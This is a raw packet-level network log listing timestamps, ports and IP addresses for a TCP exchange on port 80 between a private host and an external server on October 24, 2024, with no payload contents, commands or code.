Oct 24, 2024 04:57:27.026437044 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.026449919 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.026489019 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.026684046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.026693106 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.026702881 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.026712894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.026726961 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.026760101 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.026813030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.026823044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.026856899 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.027311087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.027339935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.027350903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.027383089 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.067925930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.067945004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.067955971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.067984104 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.068000078 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.068073034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.068084955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.068095922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.068121910 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.111469030 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.116250038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.116266012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.116275072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.116322994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.116369009 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.116398096 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.145534992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.145545006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.145595074 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.145622015 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.145629883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.145716906 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.145729065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.145755053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.145765066 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.145792007 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.146003962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.146029949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.146039009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.146055937 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.146068096 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.146661997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.146698952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.146708012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.146740913 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.187192917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.187216997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.187227011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.187241077 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.187264919 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.187331915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.187342882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.187352896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.187393904 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.235626936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.235639095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.235647917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.235691071 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.235719919 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.264906883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.264918089 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.264930010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.264964104 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.264991999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.265003920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.265013933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.265039921 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.265063047 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.265289068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.265311956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.265321016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.265357971 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.265961885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.265973091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.265983105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.266005993 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.266030073 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.306535006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.306577921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.306631088 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.306643009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.306670904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.306677103 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.306680918 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.306694031 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.306720018 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.354940891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.354984045 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.355017900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.355034113 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.384457111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.384506941 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.384514093 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.384569883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.384620905 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.384655952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.384675980 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.384689093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.384696960 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.384725094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.384757996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.384783030 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.384792089 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.384973049 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.385251999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.385288000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.385319948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.385363102 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.425904989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.425946951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.425960064 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.426001072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.426033974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.426048994 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.426067114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.426120996 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.426153898 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.426182985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.427002907 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.474464893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.474519014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.474558115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.474631071 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.503684998 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.503720999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.503739119 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.503753901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.503771067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.503774881 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.503787994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.503819942 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.503835917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.503875017 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.503941059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.503978968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.504478931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.504523993 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.504532099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.504566908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.504607916 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.545135021 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.545166969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.545202971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.545237064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.545238018 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.545272112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.545275927 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.545324087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.545357943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.545368910 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.545393944 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.593636036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.593672037 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.593703985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.593739986 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.623934984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.623982906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.624022007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.624073029 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.624077082 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.624110937 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.624114990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.624150991 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.624181986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.624200106 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.624224901 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.624233961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.624269009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.624305010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.624317884 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.624588966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.624640942 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.624798059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.624829054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.624861956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.624871016 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.673970938 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.816018105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.816055059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.816087961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.816160917 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.833548069 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.833689928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.833723068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.833745003 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.833756924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.833777905 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.833791018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.833826065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.833858013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.833867073 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.833894968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.833945990 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.833954096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.833997011 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.834007025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.834039927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.834074020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.834091902 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.834126949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.834161043 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.834167957 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.834193945 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.834228039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.834238052 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.834805012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.834837914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.834872007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.834892988 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.834919930 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.862512112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.862564087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.862596989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.862647057 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.862648010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.862682104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.862715960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.862730026 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.862751007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.862782001 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.903990030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.904043913 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.904046059 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.904078007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.904114962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.904119968 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.904145002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.906337023 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.935431004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.935463905 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.935550928 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.952699900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.952733040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.952817917 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.981707096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.981759071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.981789112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.981807947 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.981838942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.981878996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.981904030 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.981914997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.981961012 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.023288012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.023344040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.023377895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.023389101 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.023430109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.023464918 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.023478985 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.023498058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.023539066 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.054574013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.054627895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.054656982 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.054672003 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.054688931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.054734945 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.101038933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.101094961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.101129055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.101141930 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.101165056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.101201057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.101211071 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.101233959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.101403952 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.293953896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.293972015 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.293982983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.294001102 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.294013023 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.294023037 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.294034004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.294048071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.294065952 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.294086933 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.294404984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.294416904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.294434071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.294445992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.294457912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.294469118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.294481039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.294485092 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.294495106 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.294509888 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.294528961 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.295339108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.295350075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.295361996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.295373917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.295397043 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.295425892 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.295715094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.295727015 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.295737028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.295758963 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.345851898 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.382353067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.382416964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.382451057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.382499933 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.382503986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.382544041 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.382545948 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.382595062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.382627964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.382678986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.382679939 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.382718086 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.413206100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.413216114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.413256884 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.413427114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.413496017 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.413506985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.413541079 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.501502991 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.501516104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.501524925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.501568079 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.501580954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.501591921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.501600981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:28.501627922 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:28.501646996 CEST	49774	80	192.168.2.6	185.215.113.16
